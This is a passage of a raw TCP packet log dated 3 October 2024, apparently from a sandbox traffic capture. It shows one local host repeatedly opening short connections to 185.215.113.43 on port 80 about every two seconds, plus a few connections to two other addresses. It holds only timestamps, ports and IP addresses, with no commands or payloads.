Oct 3, 2024 03:29:30.707783937 CEST	49869	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:30.707783937 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:30.707973957 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:30.714759111 CEST	80	49870	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:32.207747936 CEST	80	49870	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:32.207814932 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:32.208019018 CEST	80	49870	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:32.208060026 CEST	80	49870	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:32.208067894 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:32.208106995 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:33.718564034 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:33.718565941 CEST	49871	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:33.723556042 CEST	80	49871	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:33.723818064 CEST	80	49870	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:33.724565983 CEST	49871	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:33.724623919 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:33.724730968 CEST	49871	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:33.729464054 CEST	80	49871	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:34.421252012 CEST	80	49871	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:34.421322107 CEST	49871	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:36.046942949 CEST	49871	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:36.047326088 CEST	49872	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:36.052125931 CEST	80	49871	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:36.052149057 CEST	80	49872	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:36.052179098 CEST	49871	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:36.052232027 CEST	49872	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:36.052460909 CEST	49872	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:36.057248116 CEST	80	49872	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:36.769599915 CEST	80	49872	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:36.769670010 CEST	49872	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:38.280853033 CEST	49872	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:38.281341076 CEST	49873	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:38.286175013 CEST	80	49872	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:38.286226988 CEST	80	49873	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:38.286237001 CEST	49872	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:38.286326885 CEST	49873	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:38.286609888 CEST	49873	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:38.291451931 CEST	80	49873	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:38.997243881 CEST	80	49873	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:38.998245955 CEST	49873	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:40.624481916 CEST	49873	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:40.624789953 CEST	49874	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:40.629671097 CEST	80	49873	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:40.629754066 CEST	49873	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:40.629784107 CEST	80	49874	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:40.629842043 CEST	49874	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:40.630120993 CEST	49874	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:40.634917021 CEST	80	49874	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:41.364291906 CEST	80	49874	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:41.364628077 CEST	49874	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:42.873996973 CEST	49874	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:42.874001026 CEST	49875	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:42.880597115 CEST	80	49875	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:42.880637884 CEST	80	49874	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:42.882313967 CEST	49874	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:42.882324934 CEST	49875	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:42.882394075 CEST	49875	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:42.887424946 CEST	80	49875	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:43.594736099 CEST	80	49875	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:43.595428944 CEST	49875	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:45.217252016 CEST	49875	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:45.218139887 CEST	49876	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:45.359668016 CEST	80	49876	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:45.360132933 CEST	80	49875	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:45.361506939 CEST	49875	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:45.361512899 CEST	49876	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:45.366158009 CEST	49876	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:45.371052980 CEST	80	49876	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:46.055007935 CEST	80	49876	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:46.055075884 CEST	49876	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:47.561331034 CEST	49876	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:47.561392069 CEST	49877	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:47.566530943 CEST	80	49877	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:47.566554070 CEST	80	49876	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:47.570302010 CEST	49876	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:47.570303917 CEST	49877	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:47.570487976 CEST	49877	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:47.575218916 CEST	80	49877	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:48.301172972 CEST	80	49877	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:48.301229000 CEST	49877	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:49.920733929 CEST	49877	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:49.921128035 CEST	49878	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:49.926101923 CEST	80	49877	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:49.926146030 CEST	80	49878	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:49.926167011 CEST	49877	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:49.926212072 CEST	49878	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:49.926343918 CEST	49878	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:49.931190968 CEST	80	49878	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:50.614957094 CEST	80	49878	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:50.615030050 CEST	49878	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:52.124566078 CEST	49878	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:52.124922037 CEST	49879	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:52.130702019 CEST	80	49879	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:52.130718946 CEST	80	49878	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:52.130770922 CEST	49879	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:52.130810022 CEST	49878	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:52.130954981 CEST	49879	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:52.136734009 CEST	80	49879	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:52.865923882 CEST	80	49879	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:52.865983963 CEST	49879	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:54.499310017 CEST	49879	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:54.499726057 CEST	49880	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:54.505218983 CEST	80	49880	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:54.505294085 CEST	49880	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:54.505429029 CEST	49880	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:54.509442091 CEST	80	49879	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:54.509504080 CEST	49879	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:54.510277033 CEST	80	49880	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:55.212265015 CEST	80	49880	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:55.212666035 CEST	49880	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:56.718204975 CEST	49880	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:56.718776941 CEST	49881	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:56.723438025 CEST	80	49880	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:56.723620892 CEST	49880	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:56.723721981 CEST	80	49881	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:56.723802090 CEST	49881	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:56.724056959 CEST	49881	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:56.728894949 CEST	80	49881	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:57.434582949 CEST	80	49881	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:57.434921026 CEST	49881	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:59.062181950 CEST	49881	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:59.062181950 CEST	49882	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:59.067061901 CEST	80	49882	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:59.067332983 CEST	80	49881	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:59.069467068 CEST	49881	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:59.069467068 CEST	49882	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:59.069755077 CEST	49882	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:59.074532986 CEST	80	49882	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:59.803802013 CEST	80	49882	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:59.804023027 CEST	49882	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:01.311119080 CEST	49882	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:01.311431885 CEST	49883	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:01.316363096 CEST	80	49882	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:01.316406965 CEST	80	49883	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:01.316771984 CEST	49882	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:01.316873074 CEST	49883	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:01.316873074 CEST	49883	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:01.321712971 CEST	80	49883	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:02.013617992 CEST	80	49883	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:02.014151096 CEST	49883	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:03.639435053 CEST	49884	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:03.642152071 CEST	49883	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:03.644323111 CEST	80	49884	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:03.644728899 CEST	49884	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:03.644728899 CEST	49884	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:03.647233963 CEST	80	49883	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:03.649550915 CEST	49883	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:03.649604082 CEST	80	49884	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:04.356940031 CEST	80	49884	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:04.357012987 CEST	49884	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:05.873673916 CEST	49885	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:05.873732090 CEST	49884	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:05.878887892 CEST	80	49885	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:05.879709959 CEST	80	49884	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:05.879800081 CEST	49885	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:05.879858971 CEST	49884	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:05.880054951 CEST	49885	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:05.884846926 CEST	80	49885	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:06.590475082 CEST	80	49885	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:06.590548038 CEST	49885	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:08.218553066 CEST	49885	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:08.218928099 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:08.223885059 CEST	80	49885	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:08.223932981 CEST	80	49886	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:08.223948956 CEST	49885	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:08.224001884 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:08.224158049 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:08.229865074 CEST	80	49886	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:09.501487970 CEST	80	49886	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:09.501549006 CEST	80	49886	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:09.501604080 CEST	80	49886	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:09.501739025 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:09.501739025 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:11.014580965 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:11.014580965 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:11.019829035 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:11.020121098 CEST	80	49886	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:11.022315979 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:11.022317886 CEST	49886	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:11.025172949 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:11.030184984 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:12.613033056 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:12.613100052 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:12.613126993 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:12.613178015 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:12.613212109 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:12.613265991 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:12.613271952 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:12.613322020 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:14.235738039 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:14.236205101 CEST	49888	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:14.241281033 CEST	80	49888	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:14.241369963 CEST	49888	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:14.241559982 CEST	49888	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:14.243573904 CEST	80	49887	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:14.243643999 CEST	49887	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:14.246778011 CEST	80	49888	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:14.968892097 CEST	80	49888	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:14.970243931 CEST	49888	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:16.484721899 CEST	49888	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:16.485117912 CEST	49889	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:16.490384102 CEST	80	49888	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:16.490432978 CEST	49888	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:16.490736008 CEST	80	49889	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:16.490792990 CEST	49889	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:16.490906000 CEST	49889	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:16.496009111 CEST	80	49889	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:17.205513954 CEST	80	49889	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:17.205678940 CEST	49889	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:18.830465078 CEST	49889	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:18.831001043 CEST	49890	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:18.835921049 CEST	80	49889	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:18.836035013 CEST	49889	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:18.836078882 CEST	80	49890	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:18.836150885 CEST	49890	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:18.836339951 CEST	49890	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:18.841120005 CEST	80	49890	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:19.545131922 CEST	80	49890	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:19.549258947 CEST	49890	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.061674118 CEST	49891	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.061774969 CEST	49890	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.067543030 CEST	80	49891	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:21.067559004 CEST	80	49890	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:21.070302010 CEST	49890	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.070302010 CEST	49891	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.074171066 CEST	49891	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.079407930 CEST	80	49891	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:21.789504051 CEST	80	49891	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:21.793199062 CEST	49891	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:21.977626085 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:21.977674961 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:21.977747917 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:21.978573084 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:21.978609085 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.762211084 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.762278080 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.765151024 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.765162945 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.765399933 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.767093897 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.767195940 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.767201900 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.767415047 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.815404892 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.941701889 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.941809893 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:22.941863060 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.942003012 CEST	49892	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:30:22.942020893 CEST	443	49892	40.115.3.253	192.168.2.5
Oct 3, 2024 03:30:23.420646906 CEST	49891	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:23.420650959 CEST	49893	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:23.426623106 CEST	80	49893	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:23.426846981 CEST	80	49891	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:23.427052975 CEST	49893	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:23.427054882 CEST	49891	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:23.427449942 CEST	49893	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:23.432199001 CEST	80	49893	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:24.146836996 CEST	80	49893	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:24.146912098 CEST	49893	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:25.658190012 CEST	49894	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:25.658190012 CEST	49893	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:25.663918972 CEST	80	49894	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:25.664128065 CEST	80	49893	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:25.666313887 CEST	49894	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:25.666313887 CEST	49893	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:25.666471004 CEST	49894	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:25.671919107 CEST	80	49894	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:26.358247042 CEST	80	49894	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:26.358342886 CEST	49894	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:27.982861996 CEST	49894	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:27.983196974 CEST	49895	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:27.988682032 CEST	80	49894	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:27.988753080 CEST	49894	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:27.988996983 CEST	80	49895	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:27.989164114 CEST	49895	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:27.989212036 CEST	49895	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:27.995023966 CEST	80	49895	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:28.706063986 CEST	80	49895	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:28.706140995 CEST	49895	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:29.402430058 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:30:29.407407999 CEST	49895	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:29.412666082 CEST	80	49895	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:29.414422035 CEST	49895	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:29.761862993 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:30:30.219630957 CEST	49896	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:30.224570990 CEST	80	49896	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:30.224644899 CEST	49896	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:30.224921942 CEST	49896	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:30.230098009 CEST	80	49896	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:30.464720964 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:30:30.968164921 CEST	80	49896	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:30.968247890 CEST	49896	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:31.762181044 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:30:32.593919039 CEST	49896	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:32.593938112 CEST	49897	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:32.599102974 CEST	80	49897	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:32.599184036 CEST	49897	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:32.599354029 CEST	80	49896	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:32.599411964 CEST	49896	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:32.599560976 CEST	49897	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:32.604345083 CEST	80	49897	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:33.290430069 CEST	80	49897	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:33.292370081 CEST	49897	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:34.261589050 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:30:34.796930075 CEST	49897	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:34.797385931 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:34.802366972 CEST	80	49897	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:34.802436113 CEST	80	49898	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:34.802459955 CEST	49897	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:34.802500963 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:34.802768946 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:34.807748079 CEST	80	49898	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:35.517116070 CEST	80	49898	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:35.517441988 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:37.139399052 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:37.142538071 CEST	49899	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:37.466022015 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:38.087452888 CEST	80	49899	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:38.087471008 CEST	80	49898	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:38.087483883 CEST	80	49898	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:38.087531090 CEST	49899	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:38.087567091 CEST	49898	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:38.089170933 CEST	49899	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:38.095124960 CEST	80	49899	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:39.265192032 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:30:39.393656015 CEST	80	49899	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:39.401137114 CEST	49899	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:40.905723095 CEST	49899	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:40.906080961 CEST	49900	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:40.910912037 CEST	80	49899	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:40.910948992 CEST	80	49900	185.215.113.43	192.168.2.5
Oct 3, 2024 03:30:40.910969019 CEST	49899	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:30:40.911010027 CEST	49900	80	192.168.2.5	185.215.113.43
